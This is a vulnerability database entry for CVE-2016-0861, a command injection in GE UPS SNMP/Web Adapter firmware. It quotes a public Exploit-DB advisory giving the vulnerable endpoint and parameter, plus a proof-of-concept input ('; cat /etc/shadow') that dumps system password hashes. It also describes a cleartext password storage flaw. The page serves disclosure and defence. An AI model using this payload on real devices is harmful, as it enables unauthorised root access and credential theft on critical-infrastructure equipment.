CVE-2016-0861

high

Published 2016-02-05 · Modified 2026-05-06

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CVSS v3

8.8

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

9.8

Description

General Electric (GE) Industrial Solutions UPS SNMP/Web Adapter devices with firmware before 4.8 allow remote authenticated users to execute arbitrary commands via unspecified vectors.

Predictions

Exploit likelihood

92%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-39408 webapps hardware verified text · 2 KB

Karn Ganeshen · 2016-02-04

GE Industrial Solutions UPS SNMP Adapter < 4.8 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

# Exploit Title: [GE Industrial Solutions - UPS SNMP Adapter Command
Injection and Clear-text Storage of Sensitive Information Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.geindustrial.com/]
# Versions Reported: [All SNMP/Web Interface cards with firmware version
prior to 4.8 manufactured by GE Industrial Solutions.]
# CVE-IDs: [CVE-2016-0861 + CVE-2016-0862]

*GE Advisory: *
http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf


*ICS-CERT Advisory:*https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02

*About GE*

GE is a US-based company that maintains offices in several countries around
the world.

The affected product, SNMP/Web Interface adapter, is a web server designed
to present information about the Uninterruptible Power Supply (UPS).
According to GE, the SNMP/Web Interface is deployed across several sectors
including Critical Manufacturing and Energy. GE estimates that these
products are used worldwide.

*Affected Products*

• All SNMP/Web Interface cards with firmware version prior to 4.8
manufactured by GE Industrial Solutions.



*VULNERABILITY OVERVIEW*
A


*COMMAND INJECTIONCVE-2016-0861*
Device application services run as (root) privileged user, and does not
perform strict input validation. This allows an authenticated user to
execute any system commands on the system.

Vulnerable function:
http://IP/dig.asp <http://ip/dig.asp>

Vulnerable parameter:
Hostname/IP address


*PoC:*
In the Hostname/IP address input, enter:
; cat /etc/shadow

Output
root:<hash>:0:0:root:/root:/bin/sh
<...other system users...>
ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh
root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh

B


*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*
File contains sensitive account information stored in cleartext. All users,
including non-admins, can view/access device's configuration, via Menu
option -> Save -> Settings.

The application stores all information in clear-text, including *all user
logins and clear-text passwords*.
-- 
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in

Application impact

Vendor	Product	Versions	Fixed
ge	ups_snmp_web_adapter_firmware	`{"endIncluding":"4.7"}`

References

CWEs

CWE-77

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.